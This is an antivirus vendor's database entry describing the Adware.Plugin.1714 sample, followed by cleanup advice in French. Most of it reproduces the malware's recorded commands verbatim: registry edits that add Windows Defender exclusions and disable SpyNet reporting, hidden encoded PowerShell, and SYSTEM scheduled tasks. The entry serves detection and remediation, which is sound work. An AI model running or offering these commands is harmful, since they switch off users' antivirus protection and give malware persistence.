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Adware.Plugin.1714

Added to the Dr.Web virus database: 2024-02-16

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\gvwacwsvh
  • %WINDIR%\tasks\byzydbibwehbmlnukk.job
  • <SYSTEM32>\tasks\byzydbibwehbmlnukk
  • <SYSTEM32>\tasks\grrlktgsg
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Defender
adds antivirus exclusion with following registry keys:
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\WqeqMdgiOWNU2' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CCOFvoKjaSUn' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CCOFvoKjaSUn' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ktvdwthQnCbxIqRD' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ktvdwthQnCbxIqRD' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ktvdwthQnCbxIqRD' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ktvdwthQnCbxIqRD' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ktvdwthQnCbxIqRD' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\GMVIKuTUQkTiHEDsF' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\YdMISIMXFkoIEYVB' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\rslgyteOtYYgC' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\jrnWZjHUU' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\eBRgLBedVbvUxnrUTCR' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\WqeqMdgiOWNU2' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CCOFvoKjaSUn' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\WqeqMdgiOWNU2' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\eBRgLBedVbvUxnrUTCR' = '00000000'
Hooks functions
in browsers
  • firefox.exe process, cryptsp.dll module
  • firefox.exe process, iphlpapi.dll module
  • firefox.exe process, dnsapi.dll module
  • firefox.exe process, urlmon.dll module
  • firefox.exe process, wsock32.dll module
  • firefox.exe process, wtsapi32.dll module
  • firefox.exe process, mswsock.dll module
  • firefox.exe process, netutils.dll module
  • firefox.exe process, wininet.dll module
Modifies file system
Creates the following files
  • %TEMP%\7zs532e.tmp\__data__\config.txt
  • %TEMP%\7zs532e.tmp\install.exe
  • %TEMP%\7zs5b87.tmp\install.exe
  • <SYSTEM32>\grouppolicy\gpt.ini
  • %ALLUSERSPROFILE%\ntuser.pol
  • %HOMEPATH%\ntuser.pol
  • %TEMP%\gmvikutuqktihedsf\mcbitjirznkzdcd\qjbjloe.exe
  • %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_d99ef00b-ccd3-4f1d-9980-90ac453b0b47
  • <SYSTEM32>\grouppolicy\machine\registry.pol
  • %WINDIR%\temp\ktvdwthqncbxiqrd\wbsaheow\kctcdhhejdnobksv.wsf
Sets the 'hidden' attribute to the following files
  • %HOMEPATH%\tempntuser.pol
  • %ALLUSERSPROFILE%\tempntuser.pol
Deletes the following files
  • <SYSTEM32>\tasks\gvwacwsvh
  • %HOMEPATH%\tempntuser.pol
  • %ALLUSERSPROFILE%\tempntuser.pol
  • <SYSTEM32>\tasks\grrlktgsg
  • %WINDIR%\temp\ktvdwthqncbxiqrd\wbsaheow\kctcdhhejdnobksv.wsf
  • %WINDIR%\tasks\byzydbibwehbmlnukk.job
  • <SYSTEM32>\tasks\byzydbibwehbmlnukk
Moves the following files
  • from %HOMEPATH%\ntuser.pol to %HOMEPATH%\tempntuser.pol
  • from %ALLUSERSPROFILE%\ntuser.pol to %ALLUSERSPROFILE%\tempntuser.pol
Substitutes the following files
  • %HOMEPATH%\ntuser.pol
  • %ALLUSERSPROFILE%\ntuser.pol
Miscellaneous
Creates and executes the following
  • '%TEMP%\7zs532e.tmp\install.exe'
  • '%TEMP%\7zs5b87.tmp\install.exe' /WHGhdidnhN "525403" /S
  • '%TEMP%\gmvikutuqktihedsf\mcbitjirznkzdcd\qjbjloe.exe' Jv /OSsite_idYqu 525403 /S
  • '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\ktvdwthQnCbxIqRD\WbsAHEoW\kCtcdhhejdNOBKsv.wsf"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
  • '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
  • '%TEMP%\gmvikutuqktihedsf\mcbitjirznkzdcd\qjbjloe.exe' Jv /OSsite_idYqu 525403 /S' (with hidden window)
  • '%WINDIR%\temp\ktvdwthqncbxiqrd\rxhqjfwcvnnbdli\gfnsoxb.exe' kk /Nksite_idUYL 525403 /S' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Mic...
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\WqeqMdgiOWNU2" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\WqeqMdgiOWNU2" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CCOFvoKjaSUn" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CCOFvoKjaSUn" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\GMVIKuTUQkTiHEDsF" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eBRgLBedVbvUxnrUTCR" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\GMVIKuTUQkTiHEDsF" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\YdMISIMXFkoIEYVB" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\YdMISIMXFkoIEYVB" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\rslgyteOtYYgC" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\rslgyteOtYYgC" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\jrnWZjHUU" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\jrnWZjHUU" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  • '%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  • '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bYzYDbIbwEhbMLNUkK"
  • '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "SLeKJQcYxQgQvClkK"
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "SLeKJQcYxQgQvClkK" /SC once /ST 09:54:41 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\ktvdwthQnCbxIqRD\rxHQjfWcVNNbdLI\GfNsOxB.exe\" kk /Nksite_idUYL 525403 /S" /V1 /F
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\jrnWZjHUU" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eBRgLBedVbvUxnrUTCR" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\YdMISIMXFkoIEYVB" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\YdMISIMXFkoIEYVB" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\rslgyteOtYYgC" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\rslgyteOtYYgC" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\GMVIKuTUQkTiHEDsF" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\jrnWZjHUU" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eBRgLBedVbvUxnrUTCR" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\eBRgLBedVbvUxnrUTCR" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\WqeqMdgiOWNU2" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Mic...
  • '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extens...
  • '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "Sp...
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
  • '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gvwaCWSvh"
  • '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gvwaCWSvh"
  • '<SYSTEM32>\taskeng.exe' {4335FCBE-AA5C-4D59-97E6-23B608F47FE7} S-1-5-21-3150914307-1777937420-491476919-1000:bdvnfgvtatp\user:Interactive:[1]
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  • '<SYSTEM32>\gpupdate.exe' /force
  • '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gvwaCWSvh" /SC once /ST 14:18:44 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\GMVIKuTUQkTiHEDsF" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bYzYDbIbwEhbMLNUkK" /SC once /ST 18:58:00 /RU "SYSTEM" /TR "\"%TEMP%\GMVIKuTUQkTiHEDsF\MCbItjIrZnKZdCd\QjbjLOE.exe\" Jv /OSsite_idYqu 525403 /S" /V1 /F
  • '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "grRLktgSG"
  • '<SYSTEM32>\raserver.exe' /offerraupdate
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\WqeqMdgiOWNU2" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CCOFvoKjaSUn" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CCOFvoKjaSUn" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\ktvdwthQnCbxIqRD\WbsAHEoW\kCtcdhhejdNOBKsv.wsf"
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "grRLktgSG" /SC once /ST 17:39:58 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:64
  • '<SYSTEM32>\svchost.exe' -k secsvcs
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "grRLktgSG"
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ktvdwthQnCbxIqRD" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "rundll32 \"%ProgramFiles(x86)%\jrnWZjHUU\LRCsJv.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "mcFdSnxpIQWHTbn" /V1 /F

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
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Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

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Télécharger Dr.Web sur l'Apple Store

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

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Télécharger Dr.Web

Par le numéro de série

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

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